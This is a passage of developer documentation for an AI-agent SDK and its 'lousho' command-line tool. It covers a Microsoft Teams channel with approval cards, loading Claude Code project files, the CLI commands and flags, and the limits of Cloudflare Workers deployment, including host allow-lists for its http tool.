  `serviceUrl`, so a valid token for one service URL cannot be replayed to make
  the bot post somewhere else. Any failure answers 401. The channel has no
  unauthenticated mode, and the Bot Framework emulator without authentication
  is not supported.
* The activity is acknowledged with `200` at once and the turn runs after.
  Only `message` activities reach the agent; `conversationUpdate`, `typing`,
  `invoke` and the bot's own messages are ignored.
* A personal chat always starts or continues a session. In a group chat or a
  channel only a message that `@mentions` the bot does; the mention is removed
  from the text and every other message is ignored.
* One session per conversation (`conversation.id`; in a Teams channel it
  includes the thread's root message, so each thread is its own session). The
  sender (`from.aadObjectId`, else `from.id`) is the run's `principal`
  (`authenticator: 'teams'`, `issuer`: the tenant), as on the other channels.
* Replies are Markdown posted to `{serviceUrl}/v3/conversations/{id}/activities/{replyToId}`,
  with the `serviceUrl` the token vouched for (`https` only). Text over 25,000
  characters is split at line breaks. The outbound access token comes from the
  client-credentials flow with `appId` and `appPassword` and is cached until 5
  minutes before it expires.
* A tool approval is an Adaptive Card (version 1.4) with the tool, its arguments
  (cut at 2,000 characters) and two `Action.Submit` buttons. Only `approvers`
  (Teams user ids as in `from.id`, or a function) can use them; by default only
  the user who started the turn. Anyone else gets "You are not allowed to
  approve this request." and the approval stays pending. A press replaces the
  card with "Approved by \<name>." or "Denied by \<name>." (no buttons) and the run
  continues with a new message. A button carries the conversation it was posted
  in, and a press whose conversation differs (a copied reference) decides
  nothing; the approval id is the pending approval's, so an old card cannot
  decide a later approval, and a card already used does nothing, also after a
  restart.
* An `ask_question` is posted as text and the next message in the conversation
  is the answer. A pending question survives a restart given durable stores for
  sessions, checkpoints and approvals, as on Slack and Discord.

Set up the bot:

1. Create an Azure Bot (single-tenant or multi-tenant) and note its Microsoft
   App ID (`appId`). Under Configuration, set the messaging endpoint to
   `https://<host>/channels/teams`.
2. Under Manage Password, create a client secret (`appPassword`). For a
   single-tenant bot also pass `tenantId` (the secret is then requested from
   your tenant).
3. Under Channels, enable Microsoft Teams.
4. Create a Teams app manifest whose `bots` entry has `botId` set to the App ID
   and the scopes you want (`personal`, `team`, `groupChat`), and install it.

```ts theme={null}
import * as http from 'node:http';
import { createAgent, mountChannels, teamsChannel } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You help the team with questions.', provider });

const channels = mountChannels(agent, [
  teamsChannel({
    appId: process.env.MICROSOFT_APP_ID ?? '',
    appPassword: process.env.MICROSOFT_APP_PASSWORD ?? '',
    tenantId: process.env.MICROSOFT_TENANT_ID,
  }),
]);

http.createServer((req, res) => {
  void channels(req, res).then((handled) => handled || res.writeHead(404).end());
}).listen(3000);
```

The app password and the access token are never put in an error message or log
line: a failed call is reported to `onError` with the call and the HTTP status
only (`LOUSHO_CHANNEL_REQUEST_FAILED`). A press on a card works on a restarted
process, because it names the conversation and the approval itself; given
durable checkpoints the press is bound to that session's pending turn first,
so the continuation is appended to the session transcript and a press a
session is not waiting on decides nothing.


# Claude Code projects
Source: https://lousho.com/claude-projects



A repository that already carries Claude Code's conventional files —
`CLAUDE.md`, `.claude/skills/`, `.claude/agents/`, `.claude/rules/`,
`.claude/scratchpad/` — loads them with `claudeProject()`: the result spreads
into `createAgent()`, so the same directory drives both harnesses. Nothing is
copied or renamed; Lousho reads the files where they already are.

```ts theme={null}
import { createAgent, claudeProject } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const provider = mockModel([{ text: 'ok' }]);

const project = await claudeProject('./my-repo', { provider });
const agent = createAgent({ provider, ...project });
```

What maps to what:

| Claude convention | Becomes |
| - | - |
| `CLAUDE.md` (and `AGENTS.md`) | `instructions` (concatenated when both exist) |
| `.claude/rules/*.md` | appended instruction sections, `## <file>`, sorted by name |
| `.claude/skills/<name>/SKILL.md` | `skills` — same layout [`loadSkills()`](/skills) already reads |
| `.claude/agents/*.md` | `subagents`: frontmatter `name`/`description`/`model`, body = instructions |
| `.claude/scratchpad/` | a `scratchpad` tool — `write`/`append`/`read`/`list` named notes in that dir |
| `.claude/commands/`, `settings*.json`, `mcp.json` | not loaded — listed on `manifest.ignored` |

## Sub-agents

`.claude/agents/reviewer.md`:

```markdown theme={null}
---
name: reviewer
description: Reviews diffs for correctness
model: openrouter/openai/gpt-4o-mini
---

You review code ruthlessly. Report findings, never rewrite.
```

The frontmatter `name` and `description` are required (Claude Code's own
contract); the body becomes the sub-agent's `instructions`. `model` selects
the sub-agent's model; without it the sub-agent runs on the `provider` /
`model` passed to `claudeProject()` — a file with neither is an error naming
it. A `tools` frontmatter list is recorded on the manifest but not enforced:
Lousho sub-agents share the lead's tool registry (narrow them with
[permission rules](/approvals#permission-policies) instead).

Unlike [agent directories](/agent-directories), `claudeProject()` *reads
markdown as data and runs nothing*: no file in `.claude/` is imported or
executed. Loading a project you don't trust is therefore safe — the tool
surface stays whatever you pass to `createAgent()`.

## Scratchpad

`.claude/scratchpad/` gets a `scratchpad` tool: the agent writes, appends,
reads and lists `*.md` notes in that directory (names are `a-z0-9-_`, so
paths can't escape it). It is the durable "working notes" surface — for
secrets or structured facts prefer [memory slots](/memory); for
task-shaped notes, hooks can pause on `scratchpad` writes like any tool.

## Options

```ts theme={null}
import { claudeProject } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const provider = mockModel([{ text: 'ok' }]);

await claudeProject('./repo', {
  provider,            // sub-agents without a frontmatter model run on this
  model: 'openai/gpt-4o', // ...or on this model id (frontmatter model wins)
  scratchpad: true,    // return the tool even if .claude/scratchpad is absent (created on first write)
  rules: false,        // skip .claude/rules
  agents: false,       // skip .claude/agents
});
```

`manifest` reports what was found: `instructionFiles`, `rules`, `skills`,
`subagents`, `scratchpad`, `ignored`.

## What's deliberately not loaded

`.claude/commands/*.md` are slash-command prompts for an interactive harness —
the Lousho shape for "named repeatable workflows" is [flows](/flows).
`.claude/settings*.json` are Claude Code harness settings (they don't describe
an agent), and `.claude/mcp.json` declares MCP servers — pass those to
`createAgent({ mcpServers })` yourself ([MCP](/mcp-integration)); parsing a
third-party config format is deliberately out of scope.

For the other direction — `projectInstructions: true` on `createAgent()` —
finds and appends the nearest `AGENTS.md`/`CLAUDE.md` up the tree, without
touching `.claude/`. See the option in [Configuration](/configuration).


# CLI
Source: https://lousho.com/cli



Installing the package also installs the `lousho` command. It scaffolds
projects, checks your setup, runs an agent locally, serves it over MCP, runs
evals, shows saved traces, builds a deployable artifact and launches the Agent Forge dashboard.
Run it with `npx lousho <command>` inside a project that has the SDK installed.

| Command | What it does | Details |
| - | - | - |
| `lousho init [dir]` | Scaffold a project: an agent with an example tool, an offline test, `.env.example`; installs dependencies and runs `git init`. | [Installation](/installation#scaffolding-a-new-project) |
| `lousho doctor [spec\|agent-dir\|agent.ts] [--json] [--ping]` | Check Node, peer packages, provider keys, and optionally a spec file, agent directory or agent module (its provider's key is then required); `--ping` also checks each configured provider endpoint answers and accepts the key. Prints a fix for every problem. | [Installation](/installation#troubleshooting-lousho-doctor) |
| `lousho dev <path>` | Local dev server for a spec file, an agent directory or a TS agent: chat UI with a session per tab and streamed events, hot reload on save. | [Below](#lousho-dev) |
| `lousho chat <path>` | Terminal REPL for a spec file, an agent directory or a TS agent: streams replies, shows tool calls, asks for approvals and questions. | [Below](#lousho-chat) |
| `lousho acp <path>` | Serve a spec file, an agent directory or a TS agent to an editor (Zed and other ACP clients) over the Agent Client Protocol on stdio. | [ACP](/acp) |
| `lousho add <name>` | Install a tool, skill, channel, schedule or memory slot from a JSON registry into an agent directory, after showing its permission manifest and checking the code against it. | [Registry](/registry) |
| `lousho mcp <spec>` | Serve the agent as an MCP server (stdio, or HTTP with `--http`). | [MCP](/mcp-integration#serve-an-agent-over-mcp) |
| `lousho eval [globs...]` | Run `*.eval.ts` files under vitest; print a summary and write JUnit/JSON reports. | [Evals](/evals#lousho-eval) |
| `lousho traces [id]` | List the recent runs saved by `fileTraceExporter()` (duration, model and tool calls, tokens, cost), or print one run as a span tree. | [Observability](/observability#local-traces) |
| `lousho build --target=<t> --agent=<spec>` | Build a deployable Node server, Docker image or Cloudflare Worker. | [Deployment](/deployment) |
| `lousho studio` | Launch Agent Forge, the visual dashboard, on one local port. | [Agent Forge](/agent-forge) |

Every command that takes a `<spec>` reads an agent spec file (`.yaml`,
`.yml` or `.json`, see [Configuration](/configuration#agent-spec-files-agentspec)).

## Usage

```text theme={null}
lousho init [dir] [--provider P] [--template T] [--yes] [--no-install] [--no-git] [--package-manager PM] [--force] [--sdk-path <dir|tgz>] [--bot-name <name>] [--bot-token <token>] [--bot-username <handle>] [--allowed-chats <ids>] [--persona <text>]
lousho dev <spec.yaml|spec.json|agent-dir|agent.ts> [--port N] [--host H] [--allowed-hosts a,b] [--no-schedules] [--traces[=dir]]
lousho chat <spec.yaml|spec.json|agent-dir|agent.ts> [--model provider/model] [--session id] [--store sqlite:<file>] [--traces[=dir]]
lousho acp <spec.yaml|spec.json|agent-dir|agent.ts> [--model provider/model]
lousho add <name> [--registry <url-or-path>] [--dir <agent-dir>] [--yes] [--allow <list>] [--overwrite] [--dry-run]    (or --list)
lousho build <agent-dir|spec|agent.ts> --target=<node-server|cloudflare-worker|docker> [--out=<dir>]    (or --agent=<path>)
lousho studio [--port N] [--host H] [--prod|--dev]
lousho mcp <agent.yaml|json|agent-dir|agent.ts> [--http --port N --host H]
lousho doctor [agent.yaml|json|agent-dir|agent.ts] [--json] [--ping]
lousho eval [globs...] [--tag t] [--junit path] [--json path] [--strict] [--judge] [--record | --replay | --drift [--drift-usage]] [--url <base> [--token <bearer>]] [--config vitest.config.ts] [--timeout <ms>]
lousho traces [traceId|prefix] [--dir D] [--limit N] [--json] [--content]
lousho --version
```

Every command parses its flags the same way (Node's `parseArgs`, strict):
`--flag value` and `--flag=value` both work, the last of a repeated flag wins
(`--tag` accumulates), `--` ends the flags, and `-h` / `--help` (or `lousho help <command>`) prints the command's usage and flags and exits 0. An unknown flag, a flag without its value (it
never takes the next flag as its value) or an extra argument fails with
`LOUSHO_CONFIG_INVALID` and the usage line. A value that starts with `-` needs
the `=` form: `--model=-x`. `--traces` is the one flag whose value is optional:
it takes it only in the `=` form (`--traces=./t`), so `--traces agent.yaml` is
still the flag followed by the path.

**Exit codes.** Every command exits 0 on success, 1 when it ran and failed
(an agent that cannot load, a build error, `lousho eval`'s gate failure, no
matching trace, `lousho add` refusing an item without `--yes`), and 2 for a
usage error: an unknown command, an unknown flag, a missing or invalid
value, an extra argument, or a missing `--target` or agent path. `lousho build` prints where it wrote the build (default
`.lousho/build/<target>`) and the command to run there.

**`.env`.** The commands that run an agent (`dev`, `chat`, `acp`, `mcp`),
`doctor`, `eval` (judge evals need provider keys) and `build` load `./.env` from the working directory when it exists, like
`node --env-file-if-exists=.env`: a variable already set in the environment
wins over the file. A UTF-8 byte order mark at the start of the file (which
PowerShell 5.1's `Set-Content -Encoding utf8` writes) is ignored.

`lousho init` is the exception: it parses its own flags, and a bad flag or
value fails with `InitUsageError` — its message printed as-is, exit code 2 —
not the shared `LOUSHO_CONFIG_INVALID` path. The only short flags besides
`-h` are `-y` for `--yes`, on `init` and on `add`.

`lousho eval` also takes `--config <file>` to run under your own vitest config
instead of the generated one; globs then narrow that config's files as vitest
filters.

`npm create lousho-agent my-agent` runs `lousho init` with the same arguments.
To scaffold against an unreleased build of the SDK, pass `--sdk-path` (see
[Installing from a local build](/installation#installing-from-a-local-build)).

## `lousho dev`

```bash theme={null}
npx lousho dev agent.yaml                  # a spec file
npx lousho dev ./my-agent                  # an agent directory
npx lousho dev src/agent.ts                # a TypeScript (or JavaScript) module
npx lousho dev agent.yaml --port 4000 --host 0.0.0.0
npx lousho dev ./my-agent --no-schedules   # do not fire the directory's cron schedules
```

For an agent directory, `channels/` are mounted under `/channels` and
`schedules/` are started (and both are swapped on reload, the old schedules
stopped first); `--no-schedules` starts none. See
[Agent directories](/agent-directories#run-it-with-lousho-dev).

Serves a chat UI on `GET /`, `GET /health`, `GET /dev/status` and the chat
endpoints below (1MB body limit). What `<path>` is follows from the path:

| Path | Loaded with |
| - | - |
| `.yaml`, `.yml`, `.json` | `loadSpec()` + `specToAgent()` ([Configuration](/configuration)) |
| a directory | `loadAgentDir()` ([Agent directories](/agent-directories)) |
| `.ts`, `.mts`, `.cts`, `.js`, `.mjs`, `.cjs` | the module's default export, or its `agent` export: a `SimpleAgent` (what `createAgent()` returns) or a `createAgent()` options object |

Any other extension, a missing path, or a module with no agent export fails
with a coded error (`LOUSHO_SPEC_UNSUPPORTED_FORMAT`, `LOUSHO_CONFIG_INVALID`)
and its fix. A `.ts` module is imported by the running Node (22.18 or later
strips types, so relative imports need their file extension); use `.js` for
code that needs a transpiler.

**Chat sessions.** The chat UI keeps one session per browser tab (its id is in
`sessionStorage`; "New session" starts another) and shows the streamed turn:
text as it arrives, tool calls with their arguments and results, errors, and
tokens and cost from `run.done`. A tool call that needs approval shows
Approve / Reject buttons; an `ask_question` call shows its options as buttons
plus a free-text field. The same endpoints work from `curl` or your own page:

| Endpoint | What it does |
| - | - |
| `POST /chat` `{ "sessionId", "input" }` | Runs `agent.session({ id: sessionId }).stream(input)` and streams the turn as SSE: one `data: <AgentEvent JSON>` per event ([Streaming](/streaming)), then `event: done`. History is kept per `sessionId` (1-128 characters of `A-Za-z0-9_-`). |
| `GET /chat/:sessionId` | The session's transcript: `{ sessionId, messages, pending }`; `pending` is `{ status, approvalId? }` while a turn waits on an approval, else `null`. A turn's messages are saved when it finishes, so while it is paused `messages` does not hold that turn yet: use `pending`. |
| `POST /chat/:sessionId/approvals/:id` `{ "approved", "note"? }` or `{ "answer" }` | Decides the pending approval (`agent.approvals.streamResolve()`), or answers a question (`agent.approvals.streamAnswer()`), and streams the continued turn as SSE. It can pause again with another `approval.requested`. `404` when `id` is not pending. When the turn's step paused on several calls, each id is decided on its own; a decision that leaves others pending streams `run.done` with `finishReason: 'awaiting-approval'`, and the last one runs the step. |
| `POST /chat` `{ "message" }` | Deprecated: no session, no streaming. Returns the agent's `ExecutionResult` as JSON, with a `Deprecation: true` header. |

`--traces` (or `--traces=<dir>`) writes every run to local trace files with
`fileTraceExporter()`, in `.lousho/traces` unless you name a directory, so
`npx lousho traces` shows what the agent did. It is off by default because the
files hold prompt, tool argument and tool result content, and the flag prints
the directory it writes to. It applies to spec files, agent directories and
modules alike (a module's own `exporter` is replaced while the flag is set).
See [Local traces](/observability#local-traces).

Sessions live in an in-process `memoryStore()` (gone when `lousho dev` stops),
or in the agent's own `store` when a module's `createAgent()` options set one.
The continuation of an approval is streamed too: the endpoint runs it with
`agent.approvals.streamResolve()` (or `streamAnswer()` for a question) and
sends the continued turn's events — the decided tool call, text deltas, a
further pause and `run.done` — as they happen.

`lousho build` servers (`node-server`, `docker`) serve these same endpoints from
the same code, with sessions in a store chosen by `LOUSHO_STORE` and optional
bearer auth: see [Deployment: HTTP API](/deployment#http-api).

**Hot reload.** The agent is rebuilt a moment (100 ms) after a file changes,
without restarting the server or dropping the port:

* a spec: the spec file;
* a directory: everything under it (`instructions.md`, the config file,
  `tools/`, `skills/`, `subagents/`), except `node_modules` and `.git`;
* a module: the file and the local files it imports (relative `import` /
  `require` specifiers, found once at startup; no bundler).

Directory and module files are imported with a `?t=<time>` cache-busting query,
so an edited tool or agent file is re-evaluated, and so are the local files it
imports by relative specifier (a shared `./lib/helper.ts`): the query is passed
on to them. Packages under `node_modules` stay cached; restart `lousho dev`
after changing one.
The console logs what reloaded. The new agent is built (and `ready()`, so MCP
servers connect) before it replaces the old one, and the old one is then
`close()`d. If the rebuild fails, the last good agent keeps answering, the error
is logged and shown in a banner on the chat page (and as `error` in
`GET /dev/status`); the next good edit clears it. Sessions survive a reload: the
store outlives the agent swap, so the next message continues the conversation
on the new agent. An approval that was pending on the old agent is not known to
the new one (`404`); start a new session.

Directories and modules are your code and run with your permissions; only run
`lousho dev` on ones you trust.

* `--port` - default `3737`.
* `--host` - default `127.0.0.1` (localhost only). Pass e.g. `--host=0.0.0.0`
  to opt in to LAN access; `lousho dev` has no auth and shows raw provider
  errors, so it then prints a warning.
* `--allowed-hosts a,b` - extra host names the `Host` header may carry. To
  stop DNS rebinding (a web page re-pointing its own domain at your machine),
  every route but `/health` and the channels that `verify` their requests
  answers `403` (`LOUSHO_REQUEST_FORBIDDEN`) unless `Host` is `localhost`, a
  `127.x.x.x` address or `[::1]`; off loopback, IP addresses and the `--host`
  name are accepted too. The list adds to that rule (a tunnel's name, e.g.);
  `*` accepts any host. A channel without `verify` (`httpChannel()` with no
  `verify`) is checked like the dev routes, so reach it through a tunnel only
  with its name in the list.
* POST bodies must be `Content-Type: application/json` (`415` otherwise), and
  a browser POST from another origin is `403`, as on the deployed server
  ([Cross-site requests](/auth#cross-site-requests)).

## `lousho chat`

```bash theme={null}
npx lousho chat agent.yaml                          # a spec file
npx lousho chat ./my-agent --model openai/gpt-4o    # an agent directory, on another model
npx lousho chat src/agent.ts --store sqlite:.lousho/chat.db --session support
```

A terminal REPL: each line you type is one turn of a session. `<path>` is
loaded like `lousho dev` loads it (spec file, agent directory or `.ts`/`.js`
module, see [`lousho dev`](#lousho-dev)); a missing path or bad extension fails
with the same coded error (`LOUSHO_CONFIG_INVALID`,
`LOUSHO_SPEC_UNSUPPORTED_FORMAT`), and so does an invalid `--session` id
(`LOUSHO_SESSION_ID_INVALID`).

```text theme={null}
> look up cats
[lookup] {"q":"cats"}
  -> found cats
Cats are great.
[usage] 20 in / 6 out tokens, $0.0004
> email the report to sam
Approve send_email({"to":"sam@example.com"})? [y/N] y
  -> sent
Done, the report is on its way.
```

* Text is written as the model produces it. Each tool call is one dim line,
  `[tool_name] {args}`, followed by `  -> result` (or `  -> error: ...`).
* A tool call that needs approval asks `Approve <tool>(args)? [y/N]`: `y` or
  `yes` runs it, anything else rejects it and the model carries on. An
  `ask_question` call (`askQuestion: true`) prints the question with numbered
  options; answer with the number or with free text.
* After each turn `[usage]` shows the tokens and, when every model used has
  known pricing, the cost (`~` marks estimated tokens).
* Errors from the SDK print with their `[LOUSHO_...]` code and fix, and the
  session continues. A provider failure also names its category and HTTP
  status, e.g. `error: User not found. (auth-failure, HTTP 401)` for a wrong
  API key.
* `--traces` or `--traces=<dir>` writes the session's runs to local trace files,
  as for `lousho dev`; a line on stderr says where.

| Command | What it does |
| - | - |
| `/new` | Start a new session (the old one is kept in the store). |
| `/model <provider/model>` | Rebuild the agent on another model; the session continues. A failure keeps the current model. |
| `/compact` | Compact the session's transcript now (old tool results are pruned) and print the before/after size. |
| `/clear` | Empty the session's transcript; the session id stays. |
| `/history` | Print the session's transcript. |
| `/quit` | Leave (Ctrl-D works too). |

| Option | Meaning |
| - | - |
| `--model provider/model` | Use this model instead of the one the target names. Applies to spec files, agent directories and `createAgent()` options exports; a module that exports an already built agent keeps its model. The `vendor/` model prefix chooses the provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o`). |
| `--session id` | Open this session (1-128 characters of `A-Za-z0-9_-`); default is a new `chat-<id>`. |
| `--store sqlite:<file>` | Keep sessions in a SQLite file ([`SqliteStore`](/durable-execution)), so `--session id` continues a conversation after a restart. Default: in memory. Pending approvals are not restored after a restart. |

The REPL itself is `runChatRepl()` in `src/cli/chatRepl.ts`; it takes the
input lines, an output stream and an agent factory, so it can be tested with
scripted lines and a `mockModel` agent and no terminal.

## `lousho build`

```bash theme={null}
npx lousho build --target=node-server --agent=agent.yaml        # or docker / cloudflare-worker
npx lousho build ./my-agent --target=node-server                # an agent directory (node-server, docker)
npx lousho build src/agent.ts --target=node-server              # an agent module (node-server, docker)
```

Writes the artifact to `--out` (default `.lousho/build/<target>`) and prints
the command to run or deploy it. Building needs `tsup`
(`npm install --save-dev tsup`). Targets, the HTTP API they serve and the
Workers limits are in [Deployment](/deployment).

## `lousho studio`

```bash theme={null}
npx lousho studio            # prints http://127.0.0.1:4750/?token=<per-launch token>
npx lousho studio --port 5000
```

Starts one local server for the Agent Forge API and UI. Agents and run state
are stored under `.lousho/` in the current directory. See
[Agent Forge](/agent-forge) for the walkthrough.


# Cloudflare Workers
Source: https://lousho.com/cloudflare-workers



`npx lousho build --target=cloudflare-worker --agent=agent.yaml` generates a module Worker (`worker.ts`), a `wrangler.toml` and a bundle, `dist/worker.js`, that the build checks for `node:` imports. It needs `tsup` and `wrangler` installed, and it takes an [agent spec file](/configuration) or an [agent directory](/agent-directories) (`npx lousho build ./my-agent --target=cloudflare-worker`). The Worker serves the same [HTTP API](/deployment#http-api) as the other targets. This target has the tightest limits of the three, so they come first.

## What works and what does not

| Feature | Cloudflare Worker | `node-server` / `docker` |
| - | - | - |
| Agent spec files | yes | yes |
| [Agent directories](/agent-directories) | yes: config, `instructions.md`, `tools/`, `skills/`, `subagents/`, `schedules/` (Worker cron rules), `channels/` (mounted under `/channels`), `memory/` (`kvMemory()`, or `inMemoryMemory()` per isolate) and `projectInstructions` (embedded at build time) | yes, all of it |
| Providers | `mock`, `openai`, `anthropic`, `openrouter` | `mock`, `openai`, `anthropic`, `ollama`, `openrouter` |
| Built-in tools | `current-date`, `day-name`, `http` (listed host names only, from the `LOUSHO_HTTP_ALLOW` binding) | all, including `http` and `web-fetch` |
| Tools written in TypeScript | yes, in an agent directory: no Node builtins, and from `@lousho/build-ai-agent` only the names listed under [Agent directories on a Worker](#build-and-deploy) | yes, in an agent directory |
| Sandboxed tool execution | no (the build swaps the sandbox for a shim that fails when used) | yes |
| MCP servers over stdio | no (the child process cannot start; the shim fails when used) | yes |
| [Code mode](/code-mode) (`codeMode`) | no (the build swaps QuickJS for a shim that fails the run at its start) | yes |
| MCP servers over HTTP | not verified | yes |
| Sessions, checkpoints, approvals | one KV namespace, `AGENT_CHECKPOINTS` (eventually consistent) | memory, files, SQLite |
| Schedules | cron triggers only, in UTC, five fields, one-minute granularity | full cron expressions, with a time zone |
| Bundle | `lousho build` checks for Node builtins and reports its size | not checked |
| [Route auth](/auth) | the `LOUSHO_API_TOKEN` bearer token only | the token, or an ordered list (`jwt()`, `oidc()`, `basic()`, ...) from an agent directory's `auth.ts` |

`lousho build` rejects a spec whose provider or tool is not in the Worker column, and an agent directory with a folder or setting the Worker column leaves out, with a `LOUSHO_DEPLOY_FAILED` error that names it and suggests `--target=node-server` or `--target=docker`.

### Providers and tools

The reasons behind the provider and tool rows:

* providers: `mock`, `openai`, `anthropic` and `openrouter`. The real
  providers are built on the Vercel `ai` SDK's `generateText`/`streamText`
  plus `@ai-sdk/openai`/`@ai-sdk/anthropic` (`openrouter` is
  `@ai-sdk/openai` pointed at `https://openrouter.ai/api/v1`), which are
  pure `fetch()`/Web-standard implementations with no `node:*` imports, so
  they bundle and run on Workers cleanly; the build's leak check verifies
  every bundle. `ollama` is **not** supported here: it defaults to a local
  `http://localhost:11434` endpoint that a Worker can't reach; use
  `node-server` or `docker` for it;
* tools: `current-date`, `day-name` and `http`. `web-fetch` is **not**
  supported. On Node, `http` and `web-fetch` refuse private destinations
  with a DNS lookup of their own (`node:dns` inside an `undici` `Agent`)
  that checks every address a host resolves to and connects to the address
  it checked, so DNS rebinding cannot get past the check. A Worker has
  neither: its `fetch()` resolves names inside Cloudflare's network and
  gives no hook to see or pin the address. What a Worker can check is the
  URL (scheme, host name, an IP-literal host); what it cannot guarantee is
  where a host name connects, so a name that resolves to an internal
  address would not be caught. So the Worker's `http` (the same
  `http_request` tool name and input as on Node) is a different tool: it
  reaches only the host names you list. On the first URL and on every
  redirect it refuses:

  * any scheme but `http:` and `https:`;
  * an IP-address host (`http://10.0.0.1/`, `http://[::1]/`), even a listed
    one: there is no address check, so only names are allowed;
  * a host that does not match the `LOUSHO_HTTP_ALLOW` binding, a
    comma-separated list of host names (`api.github.com`) and `*.` wildcards
    (`*.example.com`, which matches subdomains only, not `example.com`).
    Unset or empty, every request is refused (fail closed); an entry that is
    not a host name fails every request with an error naming it.

  A model therefore cannot pick an arbitrary host, or a DNS-rebinding one,
  because only the names you listed pass; a listed name is trusted wherever
  it resolves, so list only hosts you control or trust. TLS is always
  validated (there is no `validateSSL` option) and the tool runs without a
  sandbox. A tool of your own that calls `fetch()` in a Worker gets no SSRF
  protection from the SDK.

## Build and deploy

The build generates a module Worker (`export default { fetch }`, plus `scheduled` when the
source declares cron triggers) and bundles it as a
browser-platform ES module; the build fails if any `node:` import ends up in
`dist/worker.js`. `wrangler.toml` points `main` at `dist/worker.js` with
`no_bundle = true`, so exactly the verified bundle is uploaded. Its
`compatibility_date` defaults to a date pinned per SDK version (`2026-09-01`).
The first build writes the whole file; later builds only update the keys the
build owns (`name`, `main`, `no_bundle` and `[triggers] crons`) and keep
everything else you changed or added: your `compatibility_date`, `[vars]`, a
filled-in `[[kv_namespaces]]` block, routes and comments. It builds and
runs with `ai` v4 (the default install) or `ai` v7 (with
`@ai-sdk/openai`/`@ai-sdk/anthropic` v4) installed, with no compatibility
flag (no `nodejs_compat`):

```bash theme={null}
cd .lousho/build/cloudflare-worker
npx wrangler dev       # local workerd runtime
npx wrangler deploy    # requires a Cloudflare account (`wrangler login`)
```

Provider API keys are read from Worker bindings named `<TYPE>_API_KEY` (for example
`wrangler secret put OPENAI_API_KEY`, `wrangler secret put ANTHROPIC_API_KEY` or
`wrangler secret put OPENROUTER_API_KEY`). The peer packages (`@ai-sdk/openai` for
`openai` and `openrouter`, `@ai-sdk/anthropic` for `anthropic`, and `ai`) must be
installed alongside `@lousho/build-ai-agent` for `lousho build` to bundle them.

**Agent directories on a Worker.** A Worker has no file system and cannot import
a file by path at run time, so the build reads the
[agent directory](/agent-directories) on Node and writes `agent.module.ts`:
a static import of each `tools/*.ts`, `schedules/*.ts`, `channels/*.ts` and
`memory/*.ts` file (and of an `agent.ts` / `agent.js` config), recursively for
each `subagents/<name>/` directory, with `instructions.md`, a JSON/YAML
config, the skills and a `projectInstructions` file copied in as JSON. The
Worker builds the agent with the same rules as `resolveAgentDir()` (config
keys, tool exports, duplicate tool names):

```bash theme={null}
npx lousho build ./my-agent --target=cloudflare-worker
cd .lousho/build/cloudflare-worker && npx wrangler deploy
```

* The config's `model` must name a provider of the table above (`"model": "openai/gpt-4o-mini"`),
  with its key in the `OPENAI_API_KEY` binding; or `agent.ts` sets `provider` to an instance.
  The `vendor/` model prefix chooses the provider; with OpenRouter use
  `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).
  There is no environment to pick a default model from, so a directory without either is rejected.
* A JSON/YAML config is checked by `lousho build` (a sub-agent's too, when it is not
  code); an `agent.ts` config is checked when the Worker starts, so `wrangler deploy`
  reports the problem.
* `subagents/<name>/` directories are embedded recursively, with the same layout rules as the
  parent's. Each needs a `description` in its config (the parent model reads it to decide
  when to delegate). Each is a native sub-agent of the parent, as with `loadAgentDir()`: the
  parent delegates with the `task` tool or its `delegate_to_<name>` alias, and the sub-agent
  runs inside the parent's run, so the parent's `permissions` rules hold in it, its approvals
  pause the parent (its own inline `approve` decides them first) and its usage is added to the
  parent's (see [Sub-agents](/agent-directories#sub-agents)). A sub-agent inherits the
  parent's model unless its config sets its own.
* `schedules/` files become [cron triggers](#scheduled-runs): the build evaluates each file
  to write its cron expression to `wrangler.toml`'s `[triggers] crons` (the same UTC /
  five-field / day-name rules as a spec's triggers), and the generated Worker exports a
  `scheduled()` handler that fires them. Without `schedules/` there is no `scheduled()`.
* `channels/` channels are mounted under `/channels` (`POST /channels/<name>` and
  `POST /channels/<name>/approvals/:id`): the same routes and rules as `mountChannels()`
  on Node, on the Fetch API. They authenticate themselves (`verify`), so
  `LOUSHO_API_TOKEN` does not cover them. A turn that outlives its acknowledged webhook
  keeps running under `ctx.waitUntil`.
* `memory/` slots need a provider that works without a file system. `kvMemory()` keeps a
  slot's items under `memory/<slot>#<scope>` keys of the `AGENT_CHECKPOINTS` KV namespace (or of
  the binding its `binding` option names); without that binding, items live in one
  isolate's memory. `inMemoryMemory()` works the same way; `fileMemory()` cannot run here.
* `projectInstructions: true` reads the nearest `AGENTS.md` / `CLAUDE.md` **at build time**
  and embeds its text; a JSON/YAML config's options object (`cwd`, `files`) is honoured the
  same way. In an `agent.ts` config only `true` can be embedded - an options object is
  refused when the Worker starts.
* Tool files are bundled from where they are, so their relative imports and their
  `node_modules` resolve as in development. A tool that imports a Node builtin fails the
  build's leak check, which names the file.
* In a tool or `agent.ts`, `@lousho/build-ai-agent` is a Worker-safe subset of the package:
  `defineTool`, `isDefinedTool`, `always`, `never`, `once`, `defineSkill`, `defineSchedule`,
  `isDefinedSchedule`, `defineChannel`, `httpChannel`, `slackChannel`, `discordChannel`,
  `telegramChannel`, `githubChannel`, `teamsChannel`, `defineMemory`, `inMemoryMemory`,
  `kvMemory`, `createMockProvider`, `MockLLMProvider`, `OpenAIProvider`, `AnthropicProvider`,
  `OpenRouterProvider`, `fromAiSdk`, `LLMProviderRegistry`, `textOf`, `SDKError`,
  `ConfigurationError`, `ToolExecutionError` and `ValidationError`. Importing another name
  fails the build with this list; type-only imports work for every type.

What a tool can reach on a Worker: a tool file runs in the Worker's isolate, not in a
sandbox, with the same rights as the rest of the Worker. It can `fetch()` any host
(`LOUSHO_HTTP_ALLOW` restricts only the built-in `http` tool, not your code), and it
shares the isolate's memory with every session the isolate serves (without
`AGENT_CHECKPOINTS`, that includes their sessions). The SDK does not hand a tool the
Worker's `env` (the provider API keys, `LOUSHO_API_TOKEN`, the KV namespace), and the
build does not resolve `cloudflare:` imports, so `import { env } from 'cloudflare:workers'`
fails the build; but code in one isolate is not a security boundary. Deploy only tool
code you would trust with those bindings.

## Bindings

The Worker serves the [HTTP API](/deployment#http-api): `GET /health`, `POST /chat`
streamed as SSE (`ReadableStream`), `GET /chat/:sessionId`, the approvals
endpoint and the deprecated `{ "message" }` body. An agent directory's `channels/`
